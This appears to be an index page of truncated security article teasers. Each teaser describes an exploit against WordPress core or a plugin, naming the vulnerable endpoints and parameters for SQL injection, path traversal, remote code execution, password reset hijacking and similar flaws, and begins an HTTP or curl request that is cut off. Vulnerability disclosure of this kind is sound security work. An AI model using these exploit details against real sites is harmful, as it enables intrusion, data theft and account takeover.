## The Exploit An unauthenticated attacker can perform SQL injection via the `author__not_in` parameter in any REST API endpoint that passes user input to `WP_Query`. The following curl request demonstrates the injection against the default `/wp/v2/posts` endpoint. ```bash curl...
## The Exploit An unauthenticated attacker can read or delete arbitrary files from the server by supplying a path-traversal sequence in the `source` parameter to `wfu_file_downloader.php`. ```http GET /wp-content/plugins/wp-file-upload/li...
Read article →## The Exploit An unauthenticated attacker with network access to the WordPress server can trigger arbitrary plugin installation by spoofing reverse DNS resolution to claim Cleantalk server identity. ```http POST /wp-admin/admin-ajax.php ...
Read article →## The Exploit Unauthenticated attacker with network access to the target WordPress installation. ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.wordpress.local Content-Type: application/x-www-form-urlencoded Content-Length: ...
Read article →## The Exploit An unauthenticated attacker can execute arbitrary PHP code by sending a specially crafted HTTP request with malicious values in the `content-abs` and `content-dir` header fields, which are then passed unsanitized to `define(...
Read article →## The Exploit An unauthenticated attacker can execute arbitrary PHP code by posting a malicious form definition to the plugin's form rendering endpoint. ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.local Content-Type: appl...
Read article →## The Exploit An unauthenticated attacker can trigger a password reset for any WordPress user by supplying only that user's username, then receive the reset link at an arbitrary email address they control. ```http POST /wp-json/complib/v...
Read article →## The Exploit An authenticated WordPress user with Subscriber role or higher can delete arbitrary directories on the server by calling the cache-clearing endpoint with a crafted `permalink` parameter containing directory traversal sequenc...
Read article →## The Exploit An unauthenticated attacker can read any email logged by the Post SMTP plugin, including password reset links and account credentials, by directly requesting the email log view without authentication. ```http GET /wp-admin/...
Read article →## The Exploit An authenticated WordPress user with Contributor access or above can include and execute arbitrary PHP files by manipulating the `style`, `style_desktop`, or `style_mobile` parameters across multiple plugin endpoints. Below ...
Read article →